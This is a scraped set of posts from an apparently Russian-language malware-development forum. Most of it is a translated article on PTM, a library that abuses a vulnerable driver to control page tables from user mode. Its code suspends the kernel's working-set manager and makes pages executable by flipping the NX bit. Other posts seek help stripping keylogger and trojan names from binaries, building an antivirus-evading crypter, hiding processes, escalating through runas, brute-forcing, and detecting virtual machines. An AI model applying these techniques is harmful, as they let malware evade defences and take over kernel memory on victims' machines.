![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org

![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)

[ Windows Kernel Programming:Глава 9. Уведомления объектов и реестра

](https://ru-sfera.org/threads/windows-kernel-programming- glava-9-uvedomlenija-obektov-i-reestra.4146/)

Ядро предоставляет больше способов перехвата определенных операций/событий. Сначала мы рассмотрим объект уведомления, где может быть перехвачено и получение дескрипторов некоторых типов объектов. Далее мы рассмотрим перехват операций реестра. В этой главе: - Уведомления об объектах. - Драйвер...

![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org

![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)

[ Windows Kernel Programming:Глава 10: Введение в файловую систему и

мини-фильтры. ](https://ru-sfera.org/threads/windows-kernel-programming- glava-10-vvedenie-v-fajlovuju-sistemu-i-mini-filtry.4150/)

Файловые системы предоставвляют операции ввода-вывода для доступа к файлам. Windows поддерживает несколько файловых систем, прежде всего это NTFS. Фильтрация файловой системы - это механизм, с помощью которого драйверы могут перехватывать вызовы, адресованные файловой системе. Это полезно для...

![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org

![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1)

[ Windows Kernel Programming:Глава 11.Обсуждение различных вопросов по

разработке драйверов ](https://ru-sfera.org/threads/windows-kernel- programming-glava-11-obsuzhdenie-razlichnyx-voprosov-po-razrabotke- drajverov.4151/)

В этой последней главе книги мы рассмотрим различные темы, которые не соответствовали предыдущем главам. В этой главе: • Подпись драйвера. • Средство проверки и отладки драйверов. • Использование нативных API. • Драйверы фильтров. • Монитор устройства. • Подключение драйвера. • Библиотеки...

![ru-sfera.org](/proxy.php?image=https%3A%2F%2Fru- sfera.org%2Fstyles%2Felegance2%2Fxenforo%2Flogo.og.png&hash=c9453c754dbc048013c8326b3a6fffb9&return_error=1) ru-sfera.org

The Rootkit Arsenal - Escape and Evasion in the Dark Corners of the System
ID: 6765d804b4103b69df375a02
Thread ID: 45590
Created: 2020-12-16T02:09:06+0000
Last Post: 2020-12-18T13:17:48+0000
Author: GlowingOne
Replies: 2 Views: 1K

[ The Rootkit Arsenal - Escape and Evasion in the Dark Corners of the

System - 2nd Rev Ed (2012).pdf - AnonFiles ](https://anonfiles.com/xcV806z6pb/The_Rootkit_Arsenal_- Escape_and_Evasion_in_the_Dark_Corners_of_the_System-_2nd_Rev_Ed_2012_pdf)

anonfiles.com anonfiles.com

Book about how low-level malwares and incident response teams work.

DeleteFile after CreateFileMappingW?
ID: 6765d804b4103b69df375a03
Thread ID: 45408
Created: 2020-12-11T00:58:22+0000
Last Post: 2020-12-17T02:44:40+0000
Author: knxit
Replies: 7 Views: 1K

Po4emu ne mogu udalit file w konze? CloseHandle tam.

Code:Copy to clipboard

WCHAR wszFile[] = L"bla.exe";

HANDLE hFile=CreateFileW(wszFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
   
    if (hFile == INVALID_HANDLE_VALUE)
    {
        return false;
    }

    DWORD dwFileSize=GetFileSize(hFile,NULL);
   
    if (!dwFileSize)
    {
        return false;
    }

    HANDLE hMapping=CreateFileMappingW(hFile,NULL,PAGE_READONLY,0,0,NULL);
          
    if (!hMapping)
    {
       return false;
    }

    LPBYTE lpMap=(LPBYTE)MapViewOfFile(hMapping,FILE_MAP_READ,0,0,0);
   
    if (!lpMap)
    {
       return false;
    }

CloseHandle(hFile);
CloseHandle(hMapping);

DeleteFileW(wszFile);
Вопрос по accessibility сервису андроид
ID: 6765d804b4103b69df375a04
Thread ID: 44364
Created: 2020-11-15T20:18:14+0000
Last Post: 2020-12-14T15:37:07+0000
Author: jorah
Replies: 5 Views: 1K

Может кто подскажет как лучше
Вообщем сервис это нужный, но сама процедура предоставления доступа это квест для юзера. А если учесть что на разных версиях меню чуть другое, то и общую инструкцию не напишешь.
Посему вопрос можно как то открыть фрагмент с уже загруженым сервисом, что бы юзеру осталось только дернуть свитчер ?
Intent intent = new Intent(android.provider.Settings.ACTION_ACCESSIBILITY_SETTINGS);
startActivityForResult(intent, 0);
Так мы открываем общую страницу, но там еще до включения добраться надо. Поэтому как это дело упростить юзеру ?
Можно в п.м.

Удаление имен символов typeid из бинарника трояна (как символы RTTI)
ID: 6765d804b4103b69df375a05
Thread ID: 45493
Created: 2020-12-13T15:06:08+0000
Last Post: 2020-12-13T19:21:06+0000
Author: user259
Replies: 6 Views: 1K

Здравствуйте!
Как пишут трояны на С++ с использованием полиморфизма, typeid?
Если не выключить RTTI в настройках компилятора, имя каждого полиморфного класса будет палится в строках билда.
В бинарнике будут сохраняться строки по типу таких: .P6A?AV?$shared_ptr@VKeyloggerStructure@d@@@std@@G@Z
Без RTTI нельзя будет использовать dynamic_cast или typeid для родительского полиморфного класса, но да кому это нужно? Отключил.
Но. В С++ есть много крутых фич, например, std::function , который я достаточно часто использую.
Но, как оказалось, std::function использует typeid для сохранения типа функции и проверки его в методе target , и делает это статически, при создании объекта, что значит что отключение RTTI (run-time type identification) не запретит использование typeid, так как выполняется компилятором статически, а значит имена типов аргументов функции попадут в строки бинарника файла. Например:

C++:Copy to clipboard

struct MalwareKeyloggerStructure {
    // ...
};

std::function<void(MalwareKeyloggerStructure*)> f;

В этом случае в бинарнике можно будет найти закодированный(name mangling) тип функции и саму строку MalwareKeyloggerStructure.
Как это можно отключить?
Полностью отключать typeid конечно не хотелось бы, но я бы хотел отключить именно генерирование имен типов. И это возможно.
Так как для сравнения типов достаточно хэша типа, который тоже есть в структуре std:: type_info.
В идеале, я хочу отключить именно генерацию имен типов и сохранение их в бинарнике, оставляя генерацию хэшей типов и возможность использовать typeid статически, а может и в рантайме (RTTI).
Если так сделать не выйдет - то, хотя бы, какие нибудь костыльные, но рабочие прособы решения проблемы.
Знатоки С++, надеюсь на вашу помощь!
Заранее спасибо!

PTM - Управление таблицей страниц из пользовательского режима
ID: 6765d804b4103b69df375a07
Thread ID: 45275
Created: 2020-12-07T16:16:48+0000
Last Post: 2020-12-07T16:16:48+0000
Author: yashechka
Prefix: Статья
Replies: 0 Views: 1K

PTM - это библиотека C++ для Windows 10, которая позволяет программисту управлять всей памятью, физической и виртуальной, из пользовательского режима. Проект наследует интерфейс от VDM, позволяющий использовать примитив чтения- записи физической памяти для поддержки этого проекта. VDM используется исключительно для настройки таблиц страниц таким образом, чтобы PTM мог управлять ими из пользовательского режима. После того, как таблицы страниц настроены для PTM, VDM больше не требуется. Однако VDM может наследовать экземпляр PTM как средство чтения и записи физической памяти. И VDM, и PTM очень хорошо работают вместе и независимо друг от друга.

Введение

Управление таблицей страниц - чрезвычайно мощный примитив. Тот, который позволяет создавать новаторские проекты, такие как патч ядра только в определенных контекстах процесса или отображение адресного пространства исходного процесса в адресное пространство целевого процесса. PTM - это библиотека пользовательского режима, которая позволяет программисту управлять таблицами страниц из пользовательского режима в 64-битных системах Windows 10. PTM делает это с помощью VDM; проект, предназначенный для злоупотребления уязвимыми драйверами, выставляя примитив чтения-записи физической памяти (RWP) для повышения до произвольного выполнения ядра. VDM используется для настройки таблиц страниц таким образом, чтобы ими можно было управлять из пользовательского режима без необходимости загрузки уязвимого драйвера VDM в ядро после инициализации. Затем PTM можно использовать для получения и установки всех уровней записей таблицы страниц, преобразования линейных виртуальных адресов из пользовательского режима, отображения физической памяти в виртуальную память и даже создания новых таблиц страниц. PTM также может использоваться как средство для прямого чтения и записи в физическую память, поэтому его можно использовать с VDM для использования произвольного выполнения ядра без необходимости загрузки уязвимого драйвера VDM в ядро.

Основы виртуальной памяти и подкачки

Пейджинг - это концепция разбиения памяти на блоки фиксированного размера, называемые страницами. Страницы можно перемещать в физическую память и из нее, что позволяет перемещать на диск память, к которой нечасто обращаются. Чтобы это работало, ЦП не может напрямую взаимодействовать с физической памятью, вместо этого ЦП взаимодействует с виртуальной памятью. Виртуальные адреса преобразуются в физические адреса с помощью набора таблиц, называемых таблицами страниц. В 64-битной системе с процессором в длинном режиме существует четыре уровня таблиц страниц: PML4(s), PDPT(s), PD(s) и, наконец, PT(s). Все таблицы страниц имеют одинаковый размер (1000h байт), если не указано иное. Каждая запись таблицы страниц имеет размер восемь байтов. Это означает, что каждая таблица содержит 512 записей (8 * 512 = 1000h). Последние двенадцать бит каждого виртуального адреса называются смещением страницы и представляют собой смещение на физической странице. Смещение страницы виртуального адреса может быть больше 12 бит в зависимости от конфигурации структуры подкачки для данного виртуального адреса. Длина поля смещения страницы может составлять 12 бит (физическая страница 4 КБ), 21 бит (физическая страница 2 МБ) или 30 бит (страница 1 ГБ).

IqB4B22.png

Чтобы преобразовать линейные виртуальные адреса в линейные физические адреса, необходимо пройти по таблицам страниц. Как показано на рисунке 1, каждое виртуальное адресное пространство имеет свой собственный PML4, физический адрес этой таблицы хранится в CR3.

Взаимодействие с таблицами страниц в Windows

В Windows планировщик потоков использует KPROCESS.DirectoryTableBase при планировании потоков. Структура KPROCESS является подструктурой структуры EPROCESS и содержит DirectoryTableBase по смещению 28h. Программист, использующий VDM, может легко получить линейный физический адрес PML4 процесса, задав DKOM структуру KPROCESS желаемого процесса.

kd> dt !_KPROCESS ffffc38759d9e080
nt!_KPROCESS
+0x000 Header : _DISPATCHER_HEADER
+0x018 ProfileListHead : _LIST_ENTRY
+0x028 DirectoryTableBase : 0x00000001`15684000
+0x030 ThreadListHead : _LIST_ENTRY
+0x040 ProcessLock : 0
+0x044 ProcessTimerDelay : 0
+0x048 DeepFreezeStartTime : 0

Click to expand...

Как только физический адрес желаемых процессов PML4 получен, уловка заключается в взаимодействии со структурами поискового вызова. Хотя VDM позволяет читать и писать в физическую память, имейте в виду, что MmMapIoSpace не может использоваться для отображения структур подкачки в виртуальную память. Однако драйверы, использующие MmCopyMemory и ZwMapViewOfSection для взаимодействия с физической памятью, могут использоваться для непосредственного управления таблицами страниц. Для правильной поддержки VDM, которую PTM наследует как кодовую базу, проект не полагается на физические примитивы чтения и записи, предоставляемые драйвером. Вместо этого PTM выделяет свой собственный набор таблиц страниц и вставляет PML4E в текущие процессы PML4, указывая на такие таблицы. Это позволяет программисту по желанию отображать физическую память в текущее адресное пространство виртуальной памяти в пользовательском режиме. Другими словами, как только таблицы распределены и настроены, необходимость в VDM отпадает, поскольку таблицами подкачки можно полностью управлять из пользовательского режима.

Что такое TLB

Буфер трансляции - это аппаратный кэш, который помогает преобразовывать линейные виртуальные адреса в линейные физические адреса. TLB кэширует преобразования виртуальных адресов в физические, а также другую информацию, такую как права доступа к страницам и информацию о типе кеша. Хотя TLB чрезвычайно важен для эффективности, он сделал PTM интересной задачей. Например, когда физическая память отображается в виртуальное адресное пространство, записи таблицы страниц будут вставлены или изменены. Эта вставка или изменение существующей записи таблицы страниц может относиться к кэшированной записи в TLB. Это означает, что эффекты, применяемые к записи таблицы страниц, не будут видны до тех пор, пока запись TLB для данной виртуальной страницы не будет признана недействительной, вместе с изменениями, записанными в основную память. Чтобы противодействовать этому, в ЦП есть инструкция, которая позволяет программисту аннулировать запись таблицы страниц в кэше TLB. Эта инструкция называется INVLPG и является привилегированной инструкцией. Это не то, что может использовать PTM, поскольку библиотека предназначена для работы полностью в пользовательском режиме. Непосредственная аннулирование TLB - не единственный способ сделать записи недействительными. Если возникает ошибка страницы, TLB аннулирует записи для данного адреса, который вызвал ошибку (адрес в CR2). Это эффективный метод аннулирования желаемых виртуальных адресов из пользовательского режима, но он очень медленный. Переключение контекста по своей сути не вызывает сброс TLB, скорее, PCID изменяется на другой PCID. Это позволяет TLB сохранять записи из нескольких адресных пространств и улучшать производительность. Однако выполнение может сделать записи TLB недействительными, потому что планировщик перепрограммирует логический процессор для выполнения в другом месте в течение некоторого времени, возможно, заполняя TLB другими записями и удаляя те, которые ранее были кэшированы.

TLB - Outrun

Хотя TLB представляет собой эффективный аппаратный кеш, он не может кэшировать линейные виртуальные адреса, к которым ранее не было доступа, этот простой факт означает, что программист может создавать новый линейный виртуальный адрес каждый раз, когда ему нужно отобразить новую физическую страницу в виртуальная память. Однако это не надежное решение, которое надежно работает на всех современных процессорах. По мере того, как отрасль продвигает технологию виртуализации, расширение TLB продолжается. Таким образом, единственное создание нового линейного виртуального адреса каждый раз, когда вы хотите взаимодействовать с физической страницей, не является разумным решением и уже нестабильно на большинстве современных чипов AMD. Вместо этого идеально сочетать эту технику с другими техниками.

C++:Copy to clipboard

auto ptm_ctx::map_page(void* addr) -> void*
{
    ++pte_index;
    if (pte_index > 511)
    {
        ++pde_index;
        pte_index = 0;
    }

    if (pde_index > 511)
    {
        ++pdpte_index;
        pde_index = 0;
    }

    if (pdpte_index > 511)
        pdpte_index = 0;

    // insert paging table entries down here…
    //... (refer to PTM repo to see that code)...
    // returns the newly generated virtual address...
    return get_virtual_address();
}

Приведенный выше код генерирует новый линейный виртуальный адрес, к которому раньше не обращались. Этот линейный виртуальный адрес указывает на физическую страницу запросов в памяти. Это позволяет программисту обходить TLB, обращаясь к новым линейным виртуальным адресам, вместо того, чтобы пытаться аннулировать запись TLB существующей и уже кэшированной страницы. Однако это имеет ограничения, поскольку код предоставляет только 512^3 различных возможных виртуальных страниц.

TLB - Преимущество сомнения

Хотя опережение TLB является самым быстрым решением для отображения физической памяти в виртуальную память без необходимости отменять какие-либо записи TLB, это не самое стабильное решение на современном оборудовании. Вместо этого предпочтительнее сочетание генерации нового виртуального адреса и цикла SEH try/except. Предоставляя новому виртуальному адресу benefit of the doubt в том, что он еще не был кэширован, выполняется попытка доступа к вновь созданной странице. Если доступ успешен, новый линейный виртуальный адрес возвращается вызывающей стороне ptm::ptm_ctx::map_page. Однако, если доступ вызывает сбой страницы, TLB аннулирует записи, связанные с этим вновь созданным линейным виртуальным адресом. Затем блок except пытается получить доступ к новой странице в цикле, обеспечивая выполнение при каждой неудаче доступа к новому виртуальному адресу. Этот метод обеспечивает наиболее эффективное решение для работы с TLB из пользовательского режима. Этот метод гарантирует, что сгенерированный линейный виртуальный адрес доступен перед его возвратом вызывающей стороне.

C++:Copy to clipboard

auto ptm_ctx::get_virtual_address() const -> void*
{
    //...
   
    // start off by making sure that
    // the address is accessible...
    __try
    {
        *(std::uint8_t*)new_addr.value = *(std::uint8_t*)new_addr.value;
        return new_addr.value;
    }

    // if its not accessible then the
    // TLB just invalidated its entry...
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        // loop until this new address is accessible…
        // do not return until this new virtual
        // address is accessible....
        while (true)
        {
            // try again to access the page again
            // and it should return...
            __try
            {
                *(std::uint8_t*)new_addr.value =
                    *(std::uint8_t*)new_addr.value;
                return new_addr.value;
            }

            // if its still not accessible, then we are
            // going to let the core get
            // rescheduled for a little...
            __except (EXCEPTION_EXECUTE_HANDLER)
            {
                while (!SwitchToThread())
                    continue;
            }
        }
    }
    return new_addr.value;
}

Этот код выше выполняется каждый раз, когда новая страница отображается в виртуальную память через PTM. Это гарантирует, что новый созданный виртуальный адрес доступен перед возвратом нового виртуального адреса.

Осложнения с пейджингом

Хотя PTM управляет своим собственным набором таблиц подкачки из пользовательского режима, физический адрес этих виртуальных таблиц страниц может изменяться. Таблицы страниц, выделенные VirtualAlloc, могут сами быть выгружены на диск, если к ним не часто обращаются. Когда они возвращаются обратно при повторном доступе, весьма вероятно, что они будут размещены на новой физической странице. Диспетчер рабочего набора играет большую роль в подкачке памяти на диск. Этот поток повторяется бесконечно и создается при запуске операционной системы. Этот поток диспетчера рабочего набора оказался весьма утомительным, поэтому он приостановлен PTM.

C++:Copy to clipboard

auto get_setmgr_pethread(vdm::vdm_ctx& v_ctx) -> PETHREAD
{
    ULONG return_len = 0u;
    std::size_t alloc_size = 0x1000u;
    auto process_info =
        reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(
            malloc(alloc_size));

    while (NtQuerySystemInformation
    (
        SystemProcessInformation,
        process_info,
        alloc_size,
        &return_len
    ) == STATUS_INFO_LENGTH_MISMATCH)
        process_info =
        reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(
            realloc(process_info, alloc_size += 0x1000));

    const auto og_ptr = process_info;
    while (process_info &&
        process_info->UniqueProcessId != (HANDLE)4)
        process_info =
            reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(
                reinterpret_cast<std::uintptr_t>(process_info)
                    + process_info->NextEntryOffset);

    auto thread_info =
        reinterpret_cast<SYSTEM_THREAD_INFORMATION*>(
            reinterpret_cast<std::uintptr_t>(process_info)
                + sizeof SYSTEM_PROCESS_INFORMATION);

    static const auto ntoskrnl_base =
        util::get_kmodule_base("ntoskrnl.exe");

    const auto [ke_balance_um, ke_balance_rva] =
        util::memory::sig_scan(
            KE_BALANCE_SIG, KE_BALANCE_MASK);

    auto rip_rva =
        *reinterpret_cast<std::uint32_t*>(ke_balance_um + 19);
       
    const auto ke_balance_set =
        ntoskrnl_base + ke_balance_rva + 23 + rip_rva;

    const auto [suspend_in_um, suspend_rva] =
        util::memory::sig_scan(
            SUSPEND_THREAD_SIG, SUSPEND_THREAD_MASK);

    rip_rva =
        *reinterpret_cast<std::uint32_t*>(
            suspend_in_um + 1);
           
    const auto ps_suspend_thread =
        reinterpret_cast<void*>(
            ntoskrnl_base + rip_rva + 5 + suspend_rva);

    static const auto lookup_pethread =
        util::get_kmodule_export(
            "ntoskrnl.exe", "PsLookupThreadByThreadId");

    for (auto idx = 0u; idx < process_info->NumberOfThreads; ++idx)
    {
        if (thread_info[idx].StartAddress ==
            reinterpret_cast<void*>(ke_balance_set))
        {
            PETHREAD pethread;
            auto result = v_ctx.syscall<PsLookupThreadByThreadId>(
                lookup_pethread, thread_info[idx]
                    .ClientId.UniqueThread, &pethread);

            free(og_ptr);
            return pethread;
        }
    }

    free(og_ptr);
    return {};
}

Код, определенный выше, получит PETHREAD диспетчера рабочего набора с помощью VDM и вернет его вызывающей стороне. Затем вызывающий код может использовать VDM для системного вызова PsSuspendThread, чтобы приостановить поток диспетчера рабочих наборов.

C++:Copy to clipboard

auto stop_setmgr(vdm::vdm_ctx& v_ctx, PETHREAD pethread) -> NTSTATUS
{
    static const auto ntoskrnl_base =
        util::get_kmodule_base("ntoskrnl.exe");

    const auto [suspend_in_um, suspend_rva] =
        util::memory::sig_scan(
            SUSPEND_THREAD_SIG, SUSPEND_THREAD_MASK);

    const auto rip_rva =
        *reinterpret_cast<std::uint32_t*>(
            suspend_in_um + 1);
       
    const auto ps_suspend_thread =
        reinterpret_cast<void*>(
            ntoskrnl_base + rip_rva + 5 + suspend_rva);
       
    return v_ctx.syscall<PsSuspendThread>(
        ps_suspend_thread, pethread, nullptr);
}

Использование PTM и примеры

PTM - очень обширная библиотека, которая предлагает все стандартные операции с таблицами подкачки, такие как вставка записей и получение записей. PTM имеет предопределенные процедуры для получения и установки всех записей таблицы подкачки на всех уровнях таблицы подкачки. PTM может преобразовывать линейные виртуальные адреса двумя предопределенными способами. Один способ использует отображения гиперпространства и может использоваться только для преобразования линейных виртуальных адресов текущего адресного пространства. Другая подпрограмма вручную отображает таблицы страниц в текущее адресное пространство и вручную просматривает таблицы страниц.

Создание объекта PTM

Чтобы создать объект PTM, вы должны сначала создать объект VDM. Это легко сделать, все, что требуется, - это две лямбда-выражения, которые предоставляют метод для чтения и записи физической памяти соответственно. После создания объекта VDM вам понадобится PID процесса, из которого вы хотите сделать объект PTM. Просто укажите объект VDM по ссылке и PID процесса.

C++:Copy to clipboard

// describe the method of reading/writing physical memory.
vdm::read_phys_t _read_phys =
    [&](void* addr, void* buffer, std::size_t size) -> bool
{
    return vdm::read_phys(addr, buffer, size);
};

vdm::write_phys_t _write_phys =
    [&](void* addr, void* buffer, std::size_t size) -> bool
{
    return vdm::write_phys(addr, buffer, size);
};

vdm::vdm_ctx vdm(_read_phys, _write_phys);
nasa::mem_ctx my_proc(&vdm);

Если вы работаете с текущим контекстом памяти процессов, вам не нужно указывать PID.

Получение заголовков PDE ntoskrnl.exe

Как описано в приведенном ниже коде, ptm::ptm_ctx::get_pde получает PDE данного виртуального адреса. Эта процедура работает со всеми виртуальными адресами как в пользовательском режиме, так и в адресах ядра.

C++:Copy to clipboard

// describe the method of reading/writing physical memory.
vdm::read_phys_t _read_phys =
    [&](void* addr, void* buffer, std::size_t size) -> bool
{
    return vdm::read_phys(addr, buffer, size);
};

vdm::write_phys_t _write_phys =
    [&](void* addr, void* buffer, std::size_t size) -> bool
{
    return vdm::write_phys(addr, buffer, size);
};

vdm::vdm_ctx vdm(_read_phys, _write_phys);
nasa::mem_ctx my_proc(&vdm);

const auto ntoskrnl_base =
    reinterpret_cast<void*>(
        util::get_kmodule_base("ntoskrnl.exe"));

const auto ntoskrnl_pde = my_proc.get_pde(ntoskrnl_base);
std::printf("[+] pde.present -> %d\n", ntoskrnl_pde.second.present);
std::printf("[+] pde.pfn -> 0x%x\n", ntoskrnl_pde.second.pfn);
std::printf("[+] pde.large_page -> %d\n", ntoskrnl_pde.second.large_page);

Переворот NX бита

В этом примере первая страница основного модуля в текущем процессе становится исполняемой без вызова каких-либо функций Windows API, таких как VirtualProtect(Ex). Это не изменит значения VAD, поэтому, если бы вы открыли NtQueryVirtualMemory на этой странице, это было бы PAGE_READONLY, но если бы ЦП попытался получить инструкции с этой страницы, он бы это сделал успешно.

C++:Copy to clipboard

// describe the method of reading/writing physical memory.
vdm::read_phys_t _read_phys =
    [&](void* addr, void* buffer, std::size_t size) -> bool
{
    return vdm::read_phys(addr, buffer, size);
};

vdm::write_phys_t _write_phys =
    [&](void* addr, void* buffer, std::size_t size) -> bool
{
    return vdm::write_phys(addr, buffer, size);
};

vdm::vdm_ctx vdm(_read_phys, _write_phys);
nasa::mem_ctx my_proc(&vdm);

const auto baseaddr_pte =
my_proc.get_pte(GetModuleHandleA(NULL));

baseaddr_pte.nx = false;
my_proc.set_pte(GetModuleHandleA(NULL), baseaddr_ptr);

Заключение

В заключение, PTM - это еще одна высокомодульная библиотека, которая позволяет программисту управлять всей памятью, виртуальной и физической, из пользовательского режима. PTM используется во всех других моих недавних проектах, таких как reverse-injector, PSKP, PSKDM и kmem. Хотя этот проект идеально подходит для работы с таблицей страниц, у него есть свои недостатки. Как описано в разделе 6, таблицы страниц VirtualAlloc могут быть выгружены на диск, и, таким образом, при подкачке обратно в физическую память они, скорее всего, будут размещены на новой физической странице. Однако это оказалось незначительной проблемой после приостановки потока диспетчера рабочего набора, который отвечает за подкачку виртуальной памяти на диск.

Источник: https://back.engineering/01/12/2020/
Автор перевода: yashechka
Переведено специально для https://xss.is

Вопрос кодерам на С++
ID: 6765d804b4103b69df375a0f
Thread ID: 44039
Created: 2020-11-07T17:17:42+0000
Last Post: 2020-11-16T06:30:43+0000
Author: judas_kid
Replies: 5 Views: 1K

Доброго времени суток! Можно ли создать файл не на физическом носители а развернуть его в ОЗУ? Записать данные , и , например, отослать на сервер ? Не прошу готового решения, прошу подсказать в какую сторону копать. Спасибо!

Программа для Brute-force
ID: 6765d804b4103b69df375a15
Thread ID: 43439
Created: 2020-10-23T07:18:37+0000
Last Post: 2020-10-23T08:29:37+0000
Author: sindy_milkova
Replies: 2 Views: 1K

Как правильно провести brute-force атаку и какой софт лучше использовать?

Скачивание всех файлов в папке с ftp c++ help
ID: 6765d804b4103b69df375a18
Thread ID: 43151
Created: 2020-10-12T21:47:56+0000
Last Post: 2020-10-13T09:10:37+0000
Author: Firewoll
Replies: 5 Views: 1K

Всех приветствую, так и не нашёл нормального решения,парни подскажите как написать функцию использую WinInet другое не подходит мне, консольное приложение. Что бы подкл к ftp и скачивал всё что есть в папке на диск,и каждый час проверял обновления файлов на ftp если есть, то заменял или докачивал. Кто знает могу даже монетой накинуть вот моя телега если,что @ Firewoll , я просто ток начинаю учить c++, очень бы помогли

Архиватор zip c++
ID: 6765d804b4103b69df375a1d
Thread ID: 42678
Created: 2020-09-30T15:12:53+0000
Last Post: 2020-09-30T19:23:27+0000
Author: Jurddox
Replies: 12 Views: 1K

Всем привет вот ищу архиватор файлов в zip архив. Знаете какие нибудь не большие реализации - скиньте пожалуйста

C++ как асинхронно скачать файл по прямой ссылке
ID: 6765d804b4103b69df375a20
Thread ID: 42270
Created: 2020-09-19T17:03:16+0000
Last Post: 2020-09-23T09:19:31+0000
Author: RewizDox
Replies: 12 Views: 1K

Я пробовал - URLDownloadToFileA, но он синхронно грузит. Или подкиньте идеи по загрузке URLDownloadToFileA функции асинхронно

передача аргумента в cmd через shellexecute
ID: 6765d804b4103b69df375a23
Thread ID: 42019
Created: 2020-09-12T16:47:19+0000
Last Post: 2020-09-17T15:31:12+0000
Author: heybabyone
Replies: 8 Views: 1K

Пытаюсь выйти из lowil путем runas консоли cmd с передчаей пути до запуска проги.

ShellExecute(NULL, "runas", "cmd", "start notepad", 0, SW_SHOWNORMAL);

Для теста сделал так, но почему-то start notepad не работает как аругмент, ошибки не выдает, в чем трабл?

c++ спрятать процесс из TaskManagera
ID: 6765d804b4103b69df375a24
Thread ID: 42140
Created: 2020-09-16T11:31:04+0000
Last Post: 2020-09-17T14:52:29+0000
Author: upton
Replies: 10 Views: 1K

Привет,
Кто подскажет как сделать?
Желательно с рабочим примером кода.

C++ - Problem Linking Curl Library
ID: 6765d804b4103b69df375a26
Thread ID: 41872
Created: 2020-09-08T12:01:16+0000
Last Post: 2020-09-15T21:56:07+0000
Author: mopharmoso
Replies: 13 Views: 1K

Hello,
I have developed a loader (with panel) in C ++, CodeBlocks.
Im using Curl library for Post Requests, the problem its when I execute it in other pc, the exe request many dll like "libcurl.dll",
if anyone could help me to link curl library as static I can pay him.
Thanks.

C/C++ async вопрос
ID: 6765d804b4103b69df375a2b
Thread ID: 41706
Created: 2020-09-03T11:20:59+0000
Last Post: 2020-09-03T18:40:17+0000
Author: badsci
Replies: 15 Views: 1K

Всем привет,возникла потребность запустить асинхронно в 2 потоках функцию,использовал std:async/future,но все это добавляет аж 100 кб при сборке проекта(собираю /MD).Мне не принципиально смотреть ретерны функции,никаких математических исчислений там нету,также мне не нравится конечный вес.Знает кто решение данной дилеммы?

Compression library
ID: 6765d804b4103b69df375a37
Thread ID: 40638
Created: 2020-08-07T16:21:56+0000
Last Post: 2020-08-10T10:57:46+0000
Author: Jeffs
Replies: 13 Views: 1K

Всем привет, пишу что-то на подобии архиватора, в поисках миниатюрной либы для сжатия. Думаю использовать zlib, с 240 до 12 кб ужимает, но немного отпугивает вес (более 50 кб).
Какую либу вы можете порекомендовать?

[Java] Стажировка и обучение
ID: 6765d804b4103b69df375a3f
Thread ID: 39431
Created: 2020-07-08T23:14:49+0000
Last Post: 2020-07-28T21:28:33+0000
Author: PrDumbledore
Replies: 1 Views: 1K

Всем доброго времени суток, у меня за почти год изучения Java (и параллельно Kotlin) назрел вопрос. Я прочитал Effective Java, много чего разузнал. Естественно практиковался, начинал с простого, расписывал различные сложные функции и алгоритмы, написал класс для игры в крестики нолики, написал консольное приложение архивации текстовых данных, и наконец сделал копию игры Тетрис на JavaFX. В общем, мой вопрос заключается в том, что я проделав этот путь я не имею понятия: что изучать дальше и какие знания мне необходимы для моей первой стажировки. Поэтому я прошу помощи у вас в этом нелёгком вопросе?

Помогите разобраться с моим первым криптором | dotNet
ID: 6765d804b4103b69df375a40
Thread ID: 39814
Created: 2020-07-20T11:58:58+0000
Last Post: 2020-07-20T18:16:42+0000
Author: DeiTy
Replies: 5 Views: 1K

Hidden content for authorized users.

Вообщем , решил я попробовать написать криптор dotNet файлов . Это будет мой первый заход так сказать так что надеюсь на всеобщую помощь (просто чтоб понять как это всё устроено) :)
Как это вижу я
Зашифрованные байты файла хранятся в переменной стринг и уже в процессе работы расшифровать и запустить . Думаю это поможет только с детектом на всяких онлайн сканерах так как после расшифровки антивирус сразу даст леща и не позволит запустить .
Напишите примерную логику как этого избежать (детекта после расшифровки) или может я изначально неправильно себе это представляю ?
ps: пишу на шарпе , да да нужно писать на нативных языках и всё такое , я знаю , я не умею
C Sharp = love

Deserialization
ID: 6765d804b4103b69df375a44
Thread ID: 39406
Created: 2020-07-08T09:06:09+0000
Last Post: 2020-07-10T20:04:03+0000
Author: Ahmadz
Replies: 2 Views: 1K

Are there any good resources that explain Java and .NET deserialization?

Запись в конец файла
ID: 6765d804b4103b69df375a45
Thread ID: 39350
Created: 2020-07-07T09:09:24+0000
Last Post: 2020-07-08T04:57:03+0000
Author: dyadka0220
Replies: 3 Views: 1K

Я заметил что чем больше файл, тем дольше происходит запись в конец файла.

C++:Copy to clipboard

SetFilePointerEx(hFile, liMove, 0, FILE_END);
WriteFile(hFile, "chlen", 5, &dwO, 0);

С чем это связанно и как это можно решить? Подскажите :)

Защита от запуска на всех видов Virtual Machine (VM)
ID: 6765d804b4103b69df375a4b
Thread ID: 38913
Created: 2020-06-26T20:48:42+0000
Last Post: 2020-06-27T10:03:38+0000
Author: r3xq1
Replies: 1 Views: 1K

Создаём класс NativeMethods.cs
Записываем в него следующий код:

C#:Copy to clipboard

namespace AntiVM
{
